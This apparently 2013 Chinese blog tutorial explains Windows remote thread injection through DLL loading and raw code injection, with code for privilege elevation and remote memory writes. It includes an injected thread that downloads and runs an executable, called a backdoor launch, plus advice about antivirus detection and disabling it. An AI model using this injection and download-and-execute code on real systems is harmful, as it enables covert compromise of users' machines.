遠端執行緒注入引出的問題

whatday發表於2013-05-26

一、遠端執行緒注入基本原理

遠端執行緒注入——相信對Windows底層程式設計和系統安全熟悉的人並不陌生,其主要核心在於一個Windows API函式CreateRemoteThread,通過它可以在另外一個程式中注入一個執行緒並執行。在提供便利的同時,正是因為如此,使得系統內部出現了安全隱患。常用的注入手段有兩種:一種是遠端的dll的注入,另一種是遠端程式碼的注入。後者相對起來更加隱蔽,也更難被殺軟檢測。本文具體實現這兩種操作,在介紹相關API使用的同時,也會解決由此引發的一些問題。

顧名思義,遠端執行緒注入就是在非本地程式中建立一個新的執行緒。相比而言,本地建立執行緒的方法很簡單,系統API函式CreateThread可以在本地建立一個新的執行緒,其函式宣告如下:

HANDLE WINAPI CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    PDWORD lpThreadId
    );

這裡最關心的兩個引數是lpStartAddresslpParameter,它們分別代表執行緒函式的入口和引數,其他引數一般設定為0即可。由於引數的型別是LPVOID,因此傳入的引數資料需要使用者自己定義,而入口函式地址型別必須是LPTHREAD_START_ROUTINE型別。LPTHREAD_START_ROUTINE型別定義為:

typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)(LPVOID lpThreadParameter);
typedef PTHREAD_START_ROUTINE LPTHREAD_START_ROUTINE;
    按照上述定義宣告的函式都可以作為執行緒函式的入口,和CreateThread類似,CreateRemoteThread的宣告如下: 
HANDLE WINAPI CreateRemoteThread(
    HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
    );
    可見該函式就是比CreateThread多了一個引數用於傳遞遠端程式的開啟控制程式碼,而我們知道開啟一個程式需要函式OpenProcess,其函式宣告為:
HANDLE WINAPI OpenProcess(
    DWORD dwDesiredAccess,
    BOOL bInheritHandle,
    DWORD dwProcessId
    );

    第一個參數列示開啟程式所要的訪問許可權,一般使用PROCESS_ALL_ACCESS來獲得所有許可權,第二個參數列示程式的繼承屬性,這裡設定為false,最關鍵的引數是第三個引數——程式的ID。因此在此之前必須獲得程式名字和PID的對應關係,TlHelp32.h庫內提供的函式CreateToolhelp32SnapshotProcess32FirstProcess32Next提供了對當前程式的遍歷訪問,使用這裡有段公用程式碼可以使用:

//獲取程式name的ID
DWORD getPid(LPTSTR name)
{
    HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//獲取程式快照控制程式碼
    assert(hProcSnap!=INVALID_HANDLE_VALUE);
    PROCESSENTRY32 pe32;
    pe32.dwSize=sizeof(PROCESSENTRY32);
    BOOL flag=Process32First(hProcSnap,&pe32);//獲取列表的第一個程式
    while(flag)
    {
        if(!_tcscmp(pe32.szExeFile,name))
        {
            CloseHandle(hProcSnap);
            return pe32.th32ProcessID;//pid
        }
        flag=Process32Next(hProcSnap,&pe32);//獲取下一個程式
    }
    CloseHandle(hProcSnap);
    return 0;
}
    因此,按照以上的方式,使用getpid獲取指定名稱程式pid,傳入OpenProcess開啟程式獲取程式控制程式碼。但是你會發現這時候程式是無法開啟的,或者說程式不能以完全訪問的許可權開啟,因此必須提高本地程式的許可權,這是遠端注入執行緒引發的第一個問題,這裡也有一段通用程式碼:
//提升程式許可權
int EnableDebugPrivilege(const LPTSTR name)
{
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    //開啟程式令牌環
    if(!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&token))
    {
        cout<<"open process token error!\n";
        return 0;
    }
    //獲得程式本地唯一ID
    LUID luid;
    if(!LookupPrivilegeValue(NULL,name,&luid))
    {
        cout<<"lookup privilege value error!\n";
        return 0;
    }
    tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid=luid;
    //調整程式許可權
    if(!AdjustTokenPrivileges(token,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
    {
        cout<<"adjust token privilege error!\n";
        return 0;
    }
    return 1;
}

通過呼叫EnableDebugPrivilege(SE_DEBUG_NAME)提高本地程式許可權後就可以開啟系統程式了。然後傳入程式控制程式碼到CreateRemoteThread注入遠端程式,但是遺憾的是遠端執行緒無法執行,這裡就引發了第二個問題。CreateRemoteThreadCreateThread並不僅僅是多了一個程式控制程式碼引數那麼簡單,其中更大的區別是它們的函式入口和引數的區別CreateThread是建立本地執行緒,函式入口地址和引數都在本地程式,這很好理解,但是CreateRemoteThread建立的是其他程式的執行緒,它的入口地址和引數就該在其他程式中。如果強行把本地地址和引數傳入,雖然編譯上能通過,但是執行時侯被注入的程式會查詢和本地程式相同值的地址和引數地址,當然結果可想而知,這就像拿著一號公寓201的鑰匙去開二號公寓201的門一樣。(或許在這裡讀者會有這個想法,可不可以遠端注入本地程式呢?雖然這麼做沒什麼意義,希望有興趣的讀者可以試一試,看看能否成功。)

既然這樣,那麼如何告訴遠端執行緒需要執行的程式碼和地址呢?繼續上邊那個例子,假設在一號公寓201房間內可以使用高功率電器,但是一號公寓檢查嚴格,一旦有此情況立馬被禁止。而二號公寓戒備很鬆,所以有人想辦法在二號公寓新準備一個空的房間專門使用高功率電器,這樣即迴避了檢查,也達到了目的。這裡一號公寓相當於本地程式,二號公寓相當於系統程式,使用高功率電器相當於黑客的行為,準備新的房間相當於開闢新的儲存空間,禁止使用高功率電器相當於殺軟的查殺。那麼這裡就需要關心如何在二號公寓新建一個房間,這裡系統有兩個API函式VirtualAllocExWriteProcessMemory,顧名思義,前者在遠端程式中申請一段記憶體用於儲存資料或者程式碼——準備房間,後者在申請的空間內寫入資料或者程式碼——準備高功率電器。參看一下他們的宣告就一目瞭然:

LPVOID WINAPI VirtualAllocEx(
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
    );

VirtualAllocEx指定了程式和申請記憶體塊的大小以及記憶體塊的訪問許可權,並且返回申請後的記憶體首地址——這個地址是遠端程式中的地址,在本地程式沒有任何意義。一般函式呼叫形式如下:

char*procAddr=(char*)VirtualAllocEx(hProc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);

這樣就在程式hProc中申請到了一個1024位元組大小的可讀可寫的記憶體塊。

BOOL WINAPI WriteProcessMemory(
    HANDLE hProcess,
    LPVOID lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T nSize,
    SIZE_T * lpNumberOfBytesWritten
    );

這個函式和memcpy功能和形式都很類似,本質上就是緩衝區的複製,將資料lpBuffer[nSize]的資料複製到hProcess:lpBaseAddress[nSize]中去。

這樣CreateRemoteThread的引數就很好設定了,執行緒入口函式地址找不到——申請一段空間放上程式碼,返回程式碼首地址;引數地址找不到——申請一段空間放上資料,返回資料首地址;這樣房間,電器,原料都已齊全了,使用CreateRemoteThread啟動電器就可以加工了!這種思維很合乎邏輯,但是實現起來較為複雜,這是稍後介紹的程式碼注入方式。不過在這之前我們需要看一種更簡單的dll注入方式,說起dll我們需要宣告兩點關鍵的內容:

二、遠端執行緒DLL注入

首先,我們需要知道Win32程式在執行時都會載入一個名為kernel32.dll的檔案,而且Windows預設的是同一個系統中dll的檔案載入位置是固定的。我們又知道dll裡有一系列按序排列的輸出函式,因此這些函式在任何程式的地址空間中的位置是固定的!!!例如本地程式中MessageBox函式的地址和其他任何程式的MessageBox的地址是一樣的。

其次,我們需要知道動態載入dll檔案需要系統API LoadLibraryA或者LoadLibraryW,由於使用MBCS字符集,這裡我們只關心LoadLibraryA,而這個函式正是kernel32.dll的匯出函式!!!因此我們就能在本地程式獲得了LoadLibraryA的地址,然後告訴遠端程式這就是遠端執行緒入口地址,那麼遠端執行緒就會自動的執行LoadLibraryA這個函式。這就像我們已經知道二號公寓和一號公寓一樣,在201房間都可以使用高功率電器,那何必還要重新造一個新的房間放電器呢。

高功率電器可以搞定,但是即使煮飯也總要有米和水的。函式可以偽造代替,但是引數是不能偽造代替的。因此用前邊的方法,我們申請一個新的房間專門存放糧食,待用到的時候取便是。我們知道LoadLibraryA的引數就是要載入的dll的路徑,為了保險起見,我們把要注入的dll的路徑字串注入到遠端程式空間中,這樣返回的地址就是LoadLibraryA的引數字串的地址,將這兩個地址分別作為入口和引數傳入CreateRemoteThread就可以使得遠端程式載入我們自己的dll了。

說到這裡,或許有人疑問這麼折騰了半天,舉了這麼多例子,僅僅載入了一個自定義dll進去,並沒有做任何“想做”的事情。其實,這裡已經能做基本上任何事情了。因此dll是我們自己寫的,那麼做什麼事情就有我們自己來定,可能有人最疑惑的莫過於如何在載入dll以後立即執行我們真正想執行的程式碼。這裡就需要看一下一個簡單DLL工程。

使用VC或者VS建立一個Win32 DLL工程,原始碼可以這麼寫:

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://載入時候
        //do something
        break;
    default:
        break;
    }
    return TRUE;
}

看到這個函式相信很多人一目瞭然了,在switch-case語句的case DLL_PROCESS_ATTACHE條件下就是執行使用者自定義程式碼的地方,它執行的時機就是在DLL被任何一個程式載入的時候,這也就解決了第三個使用者程式碼啟動的問題,至於寫什麼有你自己決定。其實DLL專案這個主函式不是必須的,因為dll的目的是匯出函式,不過這裡我們不用這些知識,感興趣的讀者可以參考其他dll開發資料。

從開始敘述到這裡就是一個DLL遠端注入的所有的細節的描述了,相信讀者通過實驗就可以驗證。但是當你執行的時候你會發現360,金山,瑞星這群殺軟就開始忙活個不停了,不斷的提示你木馬後門的存在,本人強烈建議此時你把它們輕輕的關掉!從這裡也可以看出一個問題,DLL遠端注入的方式已經被多數殺軟主動攔截了,它們會把不可信的dll統統拉為黑名單,作為後門程式處理。這樣不得不讓我們迴歸原始,放棄dll回到我們最初的設想——自己注入程式碼,這種方式殺軟的提示效果如何呢,我們拭目以待。

三、遠端執行緒程式碼注入

既然使用LoadLibraryA載入DLL執行啟動程式碼並不能達到很好的效果,那麼我們就想辦法直接寫程式碼直接讓遠端執行緒執行。

這裡主要關心的就是程式碼的問題,因為執行緒函式引數傳遞方式和dll路徑的方法大同小異,程式碼的注入卻和資料的注入有著很多不同。

首先,這是第四個問題,注入程式碼如何書寫。通過類比CreateThread的函式入口,我們自然能想到,使用和CreateThread同樣形式的函式定義即可,即形為LPSECURITY_ATTRIBUTES的函式定義。但是這裡最關鍵的不是函式的定義形式,而是函式內部程式碼的限制。由於這段程式碼,或者叫注入函式,是要“拷貝”到其他程式空間去的,因此這個函式不能使用任何全域性變數、不能使用堆空間、不能呼叫本地定義的函式、不能呼叫一些庫函式等等。經測試,最保險的方式是:函式使用棧空間的區域性變數是沒有問題的,因為彙編程式碼將區域性變數翻譯為相對地址;函式使用系統的API是沒有問題的,最可靠的是使用kernel32.dll內的函式,萬一使用其他dll庫的函式需要使用kernel32.dll匯出函式LoadLibraryA載入對應的dll後,再使用kernel32.dll的匯出函式GetProcAddress獲取函式地址,比如MessagBox函式。雖然限制很多,但是足可以寫出功能很強大的程式碼,因為WindowsAPI可以自由的使用!!!

其次,即第五個問題,注入程式碼如何定位。定位包含兩層含義:程式碼的起始位置和程式碼的長度。有人說這個簡單,起始位置就是函式名的值,長度雖然不好確定,就給一個比較大的值就可以了。這個思路是沒有問題的,但是實際上這麼做並不一定成功!問題不在程式碼長度上,而是出現在程式碼的起始位置。為此我們專門做一個實驗:

我們寫一個最簡單的C程式:

1執行結果

程式很簡單,就是輸出main函式的地址,通過除錯我們看到了輸出結果是0x003d1131,但是我們監視main符號的值為0x003d1380!!!如果你也是第一次看到這個情況,相信你也會和我當初一樣驚訝,因為我們一般的思維是符號的值應該和輸出結果是一致的。為此,我們檢視一下反彙編:

2反彙編

地址0x011513A0出的push指令就是傳遞main符號的值作為printf的引數,而我們看到main函式的起始地址為0x01151380,但是這裡傳遞的值為@ILT+300=0x1151131,而符號名被對映為_main@ILT_main是怎麼回事?

3 ILT

原來從@ILT+0開始就是一系列的jmp指令,而_main就是一條jmp指令的地址,jmp的目的地址正好是main=0x1151380!這裡我們可以猜測,編譯器為函式定義維護了一張表,名字叫ILT,所有對函式名的直接訪問都被對映為修飾後的函式名(一般都是原名字前加上下劃線),在函式地址變化後不需要修改任何對函式呼叫的指令程式碼,只需要修改這個表就可以了。那麼ILT究竟叫什麼名字呢?上網查一下資料發現它可能叫作Incremental Linking Table(增量連結表),其實名字叫什麼不重要,重要的我們發現當初的結果不一致是由於編譯器的設定導致的。後來,我們發現原來這種設定是Debug模式下獨有的,如果將工程設定為Release模式就不會出現這種情況了。

那麼我們如何處理Debug模式下的程式呢,其實方法還是有的。我們觀察ILT中每個跳轉指令的結構,我們發現它們都是相對跳轉指令(就是jmp到相對於下一條指令地址的某個偏移處)。因此我們可以通過對指令的解析計算出main函式的真正地址。

參考_main處的jmp指令,根據指令的二進位制含義,我們知道E9jmp指令的操作碼,其後邊跟著32位的立即數就是相對地址,由於x86是小位元組序的,因此這個相對偏移應該是0x0000024A_main位置的指令的下一條指令地址為0x01151136,那麼真正的main符號地址=0x01151136+0x0000024A=0x01151380,正好是main函式定義的位置!具體轉化程式碼如下:

//將函式地址轉換為真實地址
unsigned int getFunRealAddr(LPVOID fun)
{
    unsigned int realaddr=(unsigned int)fun;//虛擬函式地址
    // 計算函式真實地址
    unsigned char* funaddr= (unsigned char*)fun;
    if(funaddr[0]==0xE9)// 判斷是否為虛擬函式地址,E9為jmp指令
    {
        int disp=*(int*)(funaddr+1);//獲取跳轉指令的偏移量
        realaddr+=5+disp;//修正為真實函式地址
    }
    return realaddr;
}

需要注意的是這個轉換函式只能針對本地定義的函式,如果是系統的庫函式就無能為力了,因為庫函式並沒有存在ILT中。

此處還有一個小細節,我們觀察編譯器在Debug下生成的函式的結尾處會有一連串很長的0xCC資料,即指令int 3,我猜測可能是為了對齊或者防止函式崩潰PC指標跳到非法位置來強制中斷,原因暫時不追究,但是這個特徵可以方便我們計算函式的長度——天然的函式結束標記!

計算函式長度的程式碼可以這麼寫:

int ProcSize=0;//實際程式碼長度,存放執行緒函式程式碼
char*buf=(char*)getFunRealAddr(ThreadProc);
for(char*p=buf;ProcSize<2048;ProcSize++,p++)//掃描到第一組連續的8個int 3指令作為函式結束標記
{
    if((unsigned long long)*(unsigned long long*)p
            ==0xcccccccccccccccc)//中斷指令int 3
    {
        break;
    }
}

然後,當我們嘗試執行注入的程式碼時候,卻總是出現異常。使用OllyDbg除錯被注入的程式也的確看到程式碼被寫入了指定的地址空間。這時候就需要考慮到記憶體頁的許可權了,因為之前使用VirtualAllocEx申請記憶體的屬性是可讀可寫,但是對於存放程式碼的記憶體必須設定為可讀可寫可執行才可以!!!這個細節作為第六個小問題。

這裡可以在申請的時候設定:

VirtualAllocEx(rProc,NULL,ProcSize,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

也可以使用函式VirtualProtectEx進行屬性更改:

VirtualProtectEx(rProc,procAddr,ProcSize,PAGE_EXECUTE_READWRITE,&oldAddr);

最後,按照上邊的要求寫出合理的程式碼,計算出正確的函式起始地址和大小,然後申請空間存放程式碼和引數,設定程式碼空間屬性為可執行,使用CreateRemoteThread啟動函式執行,但是還是會出現異常,下邊是觸發異常的程式碼。

//執行緒引數結構
struct RemotePara
{
    TCHAR url[256];//下載地址
    TCHAR filePath[256];//儲存檔案路徑
    DWORD downAddr;//下載函式的地址
    DWORD execAddr;//執行函式的地址
};
DWORD WINAPI ThreadProc(LPVOID lpara)
{
    RemotePara*para=(RemotePara*)lpara;
    typedef UINT (WINAPI*winExec)(LPTSTR cmdLine,UINT cmdShow);//定義WinExec函式原型
    typedef UINT (WINAPI*urlDownloadToFile)(LPUNKNOWN caller,LPTSTR url,LPTSTR fileName
        ,DWORD reserved,LPBINDSTATUSCALLBACK sts);//定義URLDownloadToFile函式原型

    urlDownloadToFile download;
    download=(urlDownloadToFile)para->downAddr;//獲取download函式地址
    winExec exe;
    exe=(winExec)para->execAddr;//獲取exe函式地址
    
    download(0,para->url,para->filePath,0,NULL);//下載檔案
    exe(para->filePath,SW_SHOW);//執行下載的檔案

    return 1;
}

程式碼的含義很明確,引數中傳遞進來了事先已經計算好的API函式URLDownloadToFileWinExec的地址以及需要的路徑引數,執行緒函式執行時從指定地址下載exe檔案並執行之,這是一個典型的後門啟動。這裡引出第七個問題,系統總是執行下載後觸發異常,如果刪除下載檔案函式的呼叫,直接執行卻能夠成功,這也就說明該執行緒函式只能完成一次API呼叫。通過大量的分析可以確定這種異常是在函式呼叫後觸發的,而且導致了棧的崩潰。這裡依舊檢視反彙編:

4執行時檢查

我們發現在下載函式被呼叫結束後編譯器卻呼叫了一個名為_RTC_CheckEsp的函式,這個函式而且還存在ILT表有對映結構(在ILT偏移520處)。因此它的地位應該和本地定義的函式是相同的,而我們又知道注入程式碼是不能呼叫本地函式的,這就有問題了,因為這段指令call 0xDA120D在另一個程式空間就不知道是什麼了,出現異常是很正常的事情。為了保證程式的正常執行,這裡有兩種做法,由於這個函式在ILT是有對應結構的,那麼如果將專案修改為Release版本,那麼這個檢查應該就會消失了,是不是這樣呢?

5 Release的函式呼叫

果然在預料之中,Release的優化後的程式碼已經很晦澀了,那個奇怪的函式呼叫就這麼被刪除了。或許你和我一樣好奇這個函式存在的意義,通過查閱資料我們發現這個是執行時檢查的函式,透過它的名字可以看出端倪,主要檢查ESP暫存器的值,看來是保護棧的函式,在編譯器設定中是可以關閉這個開關的,這也就為Debug的程式提供了一個刪除執行時檢查的方案。

圖 6 執行時檢查設定 

只要我們把執行時檢查設定為預設值就可以關閉這個開關了。你可以試試切換為Release版本,這個時候這個值也被設定為預設值了。

四、遠端執行緒注入技術總結

通過以上的介紹和實驗,我們可以總結如下:

遠端執行緒注入主要目的是通過在系統程式中產生遠端執行緒執行使用者程式碼,而通過這種方式可以很好的實現本地程式的“隱藏”——其實不存在本地程式,因為注入執行緒後本地程式結束。

使用DLL的注入的方式比較簡單,使用者功能在DLL中實現,但很容易被殺軟作為後門程式查殺,隱蔽性比較差。

使用程式碼注入方式比較複雜,考慮的問題較多,比如內碼表屬性,程式碼位置和大小和程式碼的編寫格式等。但是經實驗測試發現,除了WinExec這樣的敏感API被殺軟攔截外,一般的不太敏感的危險操作,比如下載,都會正常的執行,這也給惡意使用者有了可乘之機。

當然,遠端注入並非是黑客的專利,使用這種技術本身就是很好的程式間控制的一種方式,技術有利有弊,在它給使用者帶來方便的同時也增添了潛在的風險,希望本文對你有所幫助。

相關文章